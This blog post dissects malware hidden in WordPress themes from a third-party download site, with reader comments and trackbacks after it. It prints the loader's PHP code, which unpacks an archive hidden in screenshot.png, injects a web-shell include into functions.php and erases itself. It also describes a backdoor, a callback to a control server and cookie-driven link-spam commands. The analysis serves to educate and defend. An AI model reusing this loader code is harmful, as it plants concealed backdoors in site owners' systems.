Anatomy of a Theme Malware
As I’ve gotten involved with helping the WordPress.org theme review team, I’ve seen some strange things. One of the stranger ones was a theme virus that actually propagated from one theme to all others in a WordPress installation. That one was awfully clever, but it ultimately didn’t really do anything but propagate and generally be a pain in the ass.
However, today, @chip_bennett discovered that one of his themes had been copied and was being redistributed by a site called top-themes.com.
It had malware inserted into it that is of a much more malicious and spammy nature. Further investigation reveals that ALL of the themes on that site contain basically the same code. This code is not actually “viral”, but it’s definitely malware and it’s worth investigating to see some of the ways people try to hide their spam.
So today, I’m going to dissect it and serve it up on a platter for everybody to see.
Infection Point
We’ll start with the most obvious starting point, and that is in the functions.php file. At the very end of the functions.php file, we find a call to “get_custom_headers();”. An innocuous enough sounding name, so we go find that function. Here’s the first part of the function:
function get_custom_headers() { $_SESSION['authenticated'] = false; $filename = dirname(__FILE__).DS."screenshot.png";
Right away, something is wrong. It’s getting the location of the screenshot file (DS is defined elsewhere as the Directory Separator, which makes it work on both Linux and Windows boxes). That doesn’t make a whole lot of sense, the screenshot is supposed to be displayed by the admin interface only. Let’s read on.
$fileContents = explode(pack("c*", 0xAE,0x42,0x60,0x82), file_get_contents($filename)); $screenshot = array_shift($fileContents);
The “pack” function is one that isn’t used much. It’s a means of manipulating binary files. The “explode” function is a way of splitting a string by some characters. So what this code really is doing is to find a particular string of hex digits in the screenshot file, split it across that boundary, and then get only the first part of that (the actual screenshot file), thanks to the array shift. This gets used later.
In other words, he’s appended something onto the end of the screenshot file, and this code reads it in, finds it, then gets a copy of it. What could this be? Turns out to be a ZIP file.
$unzipped = false; $path = check_istalled_path($_SERVER['DOCUMENT_ROOT']);
The check_istalled_path function looks for a wp-additional directory and returns a path to it.
if($path === false && $_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") { if(function_exists("zip_read")) { $path = array_pop(array_shuffle(find_writeble_path($_SERVER['DOCUMENT_ROOT']))); @mkdir($path = $path.DS."wp-additional"); file_put_contents($path.DS."archive.zip", implode(pack("c*", 0xAE,0x42,0x60,0x82), $fileContents)); $zip = new ZipArchive; if ($zip->open($path.DS."archive.zip")===true) { $zip->extractTo($path.DS); $zip->close(); unlink($path.DS."archive.zip"); $unzipped = true; } @file_put_contents(dirname(__FILE__).DS."functions.php","<!--?php if(is_readable(\"$path".DS."wshell.php\")) { @require_once(\"$path".DS."wshell.php\"); } ?-->\n".file_get_contents(dirname(__FILE__).DS."functions.php")); }
If the zip_read function is available, he makes a wp-additional directory and puts the ZIP file there. Then he simply unzips the malware file into the target theme. This requires a bit of explanation.
Elsewhere there is a function called “find_writeble_path”. This function doesn’t limit itself to the current theme’s directory. Instead, it looks through all installed themes on the system and tries to find all themes that has permissions set to allow it to be written to. So in all of the above, he’s really looking for any theme that he can infect with the malware contained in this archive. The “array_shuffle” line is his way of picking a random theme.
So he unzips the malware to that theme then adds code to himself to that makes it try to read and execute this wshell.php file.
But if the wp-additional directory full of malware has already been created somewhere on the system, then the above code doesn’t run. If it finds the malware directory, then it skips that and just does the following:
} else { if($_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") { $path = $_SERVER['DOCUMENT_ROOT'].DS.$path; @file_put_contents(dirname(__FILE__).DS."functions.php","<!--?php if(is_readable(\"$path".DS."wshell.php\")) { @require_once(\"$path".DS."wshell.php\"); } ?-->\n".file_get_contents(dirname(__FILE__).DS."functions.php")); } }
It found the malware, so it simply rewrites itself to make sure it includes it.
The overall affect of the above code is to make the them unzip the malware into any theme directory it can find, then rewrite itself to attempt to include it.
Next we have self-eliminating code:
@file_put_contents(__FILE__, array_shift(explode("function get_custom_headers", file_get_contents(__FILE__)))); @file_put_contents(dirname(__FILE__).DS."screenshot.png", $screenshot);
What does this code do? Well, it erases itself from the file!
This code reads the file that the malware code is in right now (with file_get_contents(__FILE__) ). Then it explodes it along the get_custom_headers function. Finally, it writes it back out to the file itself.
Basically, using the explode and array_shift method, it finds the get_custom_headers function code, then writes the functions.php back out without that code or anything after it. Now that the malware has done its job, this code basically self deletes, to make it not traceable. All that’s left is the wp-additional directory that contains the malware, and the include it wrote to the beginning of the file to load that malware.
Here’s where it also erases itself from the screenshot, using the $screenshot variable it saved earlier.
if(function_exists("zip_read") && $unzipped == true && $_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") { @require_once($path.DS."wshell.php"); } }
This just makes it load the now-decompressed wshell.php malware immediately, instead of waiting for the next page load.
Also note how the code doesn’t run on localhost installs? If you look closely, the self-removing code does run on those installs. Meaning that if you run this theme in a test bed, then it removes itself without infection. This is to make it harder for people to analyse the code, since it disappears the first time you run it on a local test system.
The Malware
So what is this malware? Well, there’s two parts to it.
The first part is a standard PHP Shell install, essentially giving a shell backdoor to anybody who knows the location of the malware and the username and password. This is a massive security hole, obviously.
The second part is somewhat custom. It’s in the wshell.php file that the above malware tries so hard to get you to include. Essentially, this installs a spamming system of fairly wide ranging scope.
The first thing it does is to notify its master that it exists. It does this by making a connection to 188.165.212.17 and sending what looks sorta like SMTP commands, but which are probably customized in some way. But basically it tells this server where it’s installed and how it can be accessed. After it gets confirmation, it sets a parameter to make it not send this again.
The spamming system itself contains a number of commands. The way it gets commands from the attacker is by looking for them in cookies with a name of “wsh-cmd”. So in this sense, it’s kind of like a server. The attacker has some kind of a client that talks to your server via the normal HTTP, but sends it hidden commands via this cookie.
The commands allow the attacker to view a list of writable files in your themes directory, and to view any specified readable file on the system. It avoids triggering mod_security systems by base64 encoding files that it sends around. But the main thrust of the system is to allow the attacker to insert links into, and remove links from, any writable theme file.
Essentially, it’s a remote-controlled automated link spamming tool.
The attacker can send URLs to your system and it will insert them into theme files. He can later remove those links. There’s a lot of code to allow it to generate proper links, to insert them into specific lines, things of that nature.
Summary
In short, don’t trust dodgy theme sites. Get your free themes from WordPress.org Extend-Themes instead.
Also, this sort of thing should tell you why we ban certain types of things from the WordPress.org theme repository. We can’t scan for specific malware, as it’s too easy to get around that sort of scanning. Scanning for functions that most of these malwares use is simpler and more effective. And all of our themes go through human-eye review as well, with anything even slightly dodgy getting brought up before a mailing list of experts who can take a look and determine what is what.
Nice Write up Otto, it sometimes amazes me how far people will go to score a few links.
Thanks for writing up this exercise and breaking down the code structures. This is very helpful in getting a better understanding of what to look for and whom to trust for free WordPress Themes.
It is sad to see themes being used to distribute this garbage. Some of the steps used to hide that garbage are pretty clever though. Imagine what this person could do if they choose to use their powers for good!
Excellent post Otto. Thank you for sharing this valuable knowledge! I’ve been using the same theme forever (which I made and probably need to upgrade to 3.0+ compatibility haha), but I have a lot of friends and clients that use WordPress, I will be sure to pass this along!
If you’re wanting to upgrade the theme, check out the Theme Check plugin: http://wordpress.org/extend/plugins/theme-check/
It runs most of the review list. Great way to see what your theme is missing or is still old in it.
Holy crap. That’s all I gotta say.
Heh. Chip just found and sent me another one that does link insertion into the footer by accepting hidden commands via the HTTP_USER_AGENT.
Link spammers really are trying very, very hard.
No matter how well hidden, eventually a “payload” has to turn back into code and be executed.
Has anyone considered using an automated-test approach?
1) Load a WordPress install and the theme into some kind of test rig, based on the code at: svn.automattic.com/wordpress-tests/
2) Generate hash values for every file in the install, including the plugin files.
3) Have the test code visit every page on the “site” and record the HTML produced.
4) Parse the captured HTML, looking for links that shouldn’t be there.
5) Re-hash all the files in the install, and find any that have changed.
And if anything “bad” is discovered, refuse the template.
Much of the code needed to do this stuff is already built! …see svn.automattic.com/wordpress-tests/
^F^
Very comprehensive explanation, Otto.
It raises two issues, though. One from a non-too-technical perspective, the other from a more technical one.
The range of approved themes available via WordPress is not exactly what you’d call impressive and the majority look like they were designed back in WordPress 1.0 days. That pushes people like me into the wider marketplace.
Why not build Theme Check into the next service release of WP, not just be available as an option. It would then become a sort of charcoal filter for code before it was installed.
Its your job to ensure code stays poetry and not pornography.
It would be great if some form of anti-virus could be included in core to protect end-users, but sadly I doubt this will happen. I have a bad feeling Matt would rather use this as part of his long-running crusade against non-GPL themes. It’s in his interests to scare people off downloading themes from third-party sites. I really hope I’m wrong, as in reality most users neither know nor care about malware or licensing issues, and hence aren’t going to protect themselves.
Also, it’s so hard to get a theme into the official directory these days, I’m not surprised most of them are by code monkeys rather than graphic designers and that their aesthetic qualities reflect this.
If there was some kind of malware checking in the core, then these spam authors would simply write their code to not be detected by it. There’s an infinite number of ways to hide things like this, you simply can’t catch them all and it doesn’t make any sense to get into an arms race over it.
Simply educating users about only downloading themes from trustworthy sites should be enough. Perhaps it isn’t.
Also, getting a theme into the official directory is a lot simpler. Use the Theme Check plugin and fix the issues it lists before submitting your theme and it will be a lot more likely to pass review.
Two days ago, I might have shared your view; however, considering that of the Themes distributed by sites from the first three pages of Google results for “Free WordPress Themes, 88% have SEO/spam links, 76% have base64 or other encoding, and at least 12% have some form of other malware, I no longer agree.
This is no longer merely about a crusade against non-GPL Themes (although that, too, is an issue, since most of these sites also mis-apply licensing). This problem transcends the GPL-only issue. Users who look outside of official channels in order to find free WordPress Themes will get compromised Themes.
Also, I disagree completely that getting a Theme into the repository is unduly onerous. It might take a while, but that is a function of having an insufficient number of Theme reviewers.
Well, if GPL were not such a religious issue then people wouldn’t be being driven beyond the official repository to find themes, because wordpress.org would be open to a much wider range of work. It would be possible to vet non-GPL theme developers and link to reputable ones from wordpress.org, in the same way as currently happens with commercial themes. Security ought to transcend GPL-zealotry, but, again, I’m not convinced it will.
And as for getting into an arms race, I was under the impression that was an inevitable consequence of trying to deal with spam and malware. It’s all very well to say that people who go off-piste looking for a theme forfeit the right to protection, but you need to bear in mind that if they do get hacked, they’re probably going to blame wordpress rather than their theme, and ultimately that’s going to be bad for wordpress.
WTF are you talking about? This has nothing to do with the GPL at all.
If you don’t want to release a theme you created under the GPL, then don’t. That has nothing to do with spam and malicious software.
And no, we’re not going to allow non-GPL software onto WordPress.org. In fact, we go even further and don’t allow any *paid* software onto WordPress.org either. WordPress is free and it will remain so.
If you want to play in the sandbox with the other kids, then you obey the rules like everybody else does. That’s not zealotry; that’s standing by a set of principles.
Then maybe you guys should stop running around claiming that any free theme not hosted by wordpress.org is going to compromise your wordpress install. As far as I can tell, the problem is with third-party repositories collating themes by a variety of authors and injecting their code into it. Do you have any examples of a theme obtained direct from the author which pulls this crap? I’d genuinely like to know.
um, what about http://wordpress.org/extend/themes/commercial/ ? I wasn’t talking about hosting (I wouldn’t presume to tell Matt what to put on his servers); I was talking about linking, and how it might help to keep people away from disreputable sites by directing them towards trustworthy ones.
It’s just massively illogical to equate somebody like Sadish (who has been doing this for years, has a theme in use on wordpress.com and distributes only through his own site) with the second-hand theme warehouses which exist only to propagate spam. If the ‘non-GPL = evil’ mindset is just too deep to overcome and there’s no way you can tell people what third-party sites they can trust, could you not at least publish some form of watchlist advising users which sites to avoid?
I don’t see where I said any such thing about all other theme sites being bad. Certainly that’s not the case.
MOST of them are bad. Not “all”.
But don’t take my word for it. Argue with Chip’s statistics on the matter.
I’m sure you know my opinion on the GPL-inheritance issue; that said, I have no problem whatsoever with the WordPress.org Theme Repository requiring hosted Themes to be 100% GPL-compatible.
To be honest: I have yet to find a non-commercial Theme submitted under a non-GPL license that wasn’t compromised in some fashion. Most Themes that are GPL generally wind up in the Repository (that backend-search exposure is a pretty darn big incentive). The one exception I’ve found is Leland’s Themes at ThemeLab. I don’t know if I would trust any other extra-repository, free-Theme distributor.
Given the state of the free-Theme environment right now, I am fairly confident in saying: buy a commercial Theme from a reputable developer, or get a free Theme from within the WordPress.org Repository. Anything else, and you will almost certainly get a compromised Theme.
I’m wondering if it would be possible to develop some sort of WPORG-hosted digital-signature database against which to verify Themes?
Outside of that, Theme developers are going to have to start looking at registering their Theme names as Trademarks, and then enforcing those Trademarks. Unfortunately, this route is very likely prohibitively expensive for free-Theme developers.
Ohhh, burn on the non-repo free themes! LOL.
… I have non repo hosted free themes 😛
Oh, and thanks for the writeup Otto! Fascinating to hear how these evil little buggers get their spammy crap into WordPress installs.
props for the Cro Mags favicon and Biohazard logo in the post!
Looks like one of my wordpress themes (green park 2) has been altered as well. Thanks for your extensive write-up.
Nice analysis! And I didn’t even realize that PHP had a
pack()
function, though I’ve used it a lot in Perl over the years. I used to use it for formatting binary data to send/receive data to a mainframe interface on a trucking company website 🙂Anyhow, that’s definitely a clever, devious, smart bit of ugliness there. If only the author would use his powers for Good!
[…] does a great job going in-depth and explaining exactly how this particular piece of theme malware works. Most of the explanation is over my head but it gives […]
[…] Theme loaded with malware was uncovered. Otto wrote up a dissection of the Theme in “Anatomy of a Theme Malware,” giving programmers, developers, and WordPress Theme hosts an inside look at the insidious […]
[…] I’ve just published “WordPress Theme Malware Prevention and Protection on WordCast, covering the recent WordPress Theme dissection of malware by Otto. […]
[…] old adage: “Too good to be true”, plays out in the internet world as well.Here’s an excellent explanation of how spammers use WordPress theme to spread their malware.How do you avoid getting WordPress Theme malwareAlways get free theme […]
that site has been around a very long time offering theme downloads with modifiled functions.php files.
I even notified one of the original theme authors, at least 12-14 months ago
Otto,
Just came from Lorelle’s page, first time here.
In my blog’s niche, almost 99% my readers are wordpress beginners, i am very happy to always remind them to download clean free themes that they can access from dashboard.
I am so happy i did write it almost on all my posts which are themes related.
Thanks to bring it up, great reminder.
I just still wondering why top-themes(http://www.top-themes.com/) still active.I tested to download some of the theme and it still have the blocks of functions/codes there.They can distribute those themes with malware if they can still operate.If all of the themes on that site contain basically the same code, why wordpress allow this site to continously distribute infected themes.
How do you propose for “WordPress” to disallow such sites from distributing infected Themes?
If such sites are violating the WordPress Trademark policy regarding domain names, then the WordPress Foundation has some recourse to take down trademark-violating domain names. Otherwise, WordPress has no more recourse than anyone else.
FYI, I contacted the registrar for top-themes.com, and got no response. I also reported the site to Google, and also got no response.
You are best off contacting their web host to have a site taken down.
Contacting their registrar is unlikely to be of any help at all unfortunately.
Believe it or not: the registrar just replied to my email. They’ve taken down top-themes.com.
Shout out to fabulous.com for doing the right thing!
[…] has published an article with examples of where to look for compromised code. Full article at: http://ottopress.com/2010/anatomy-of-a-theme-malware/ Ottopress recommend getting your free themes from WordPress.org Extend-Themes instead. WordPress […]
[…] posted about his findings when tearing apart a set of themes ridden with malware. Jeff Chandler followed up with a few […]
[…] Additionally, this malware sends notification to its creator about it existence on a server and allows him to insert links on writable theme files on a wordpress installation. Otto, the coder of my Gravatar Hovercards plugin, wrote a post called Anatomy of a Theme Malware where he explains the nature of this malware. Read here […]
[…] Otto on the Anatomy of a Theme Malware […]
[…] gotten a few responses back to some of my malware related posts asking why WordPress doesn’t check for this sort of thing in the core code. Why can’t […]
[…] specifically WordPress Themes, Plugins, and out-of-date versions of WordPress. WordPress expert, Otto of OttoPress investigated a WordPress malware hack last year, uncovering the insidious methods they use. Having had two of my sites and a few […]
[…] and redistribution. However, these Theme modifications turned out to be insidiously malicious. As Otto explains, Themes distributed by the site in question had been hacked to (among other things) include a […]
[…] malware and it’s worth investigating to see some of the ways people try to hide their spam.via Anatomy of a Theme Malware » Otto on WordPress.Now, this is not intended to imply that all WordPress theme download sites are bad, or that you […]
[…] Anatomy of a theme malware […]
[…] Otto dissecte les codes malicieux dans les thèmes […]
[…] example of a sneaky trojanized WordPress theme was analyzed in detail by Otto in December of 2010. In it he points out another rule of thumb which is to only download themes from the official […]
It is good to find out that top-themes.com website is not providing anything regarding WordPress.
Otto are you responsible for ensuring the top-themes.com shuts down? If so congratulations! This is perhaps, the best way to tackle such people who are spreading malware by providing infected themes for download.
Thank you for the post as it is very helpful for WordPress Developers like me.
[…] Otto on the Anatomy of a Theme Malware […]
[…] dangerous themes and plugins are distributed in the wild but some have also cropped up on wordpress.org, usually after a developer has been […]
[…] dangerous themes and plugins are distributed in the wild but some have also cropped up on wordpress.org, usually after a developer has been […]
[…] Anatomy of a Theme Malware, Otto, Otto on WordPress […]
[…] Anatomy of a Theme Malware, Otto, Otto on WordPress […]
[…] http://ottopress.com/2010/anatomy-of-a-theme-malware/ […]
[…] encrypted link with them, that allows its creators full access to your site, and the possibility of infecting you, or even Google penalizing […]
[…] via Anatomy of a Theme Malware » Otto on WordPress. […]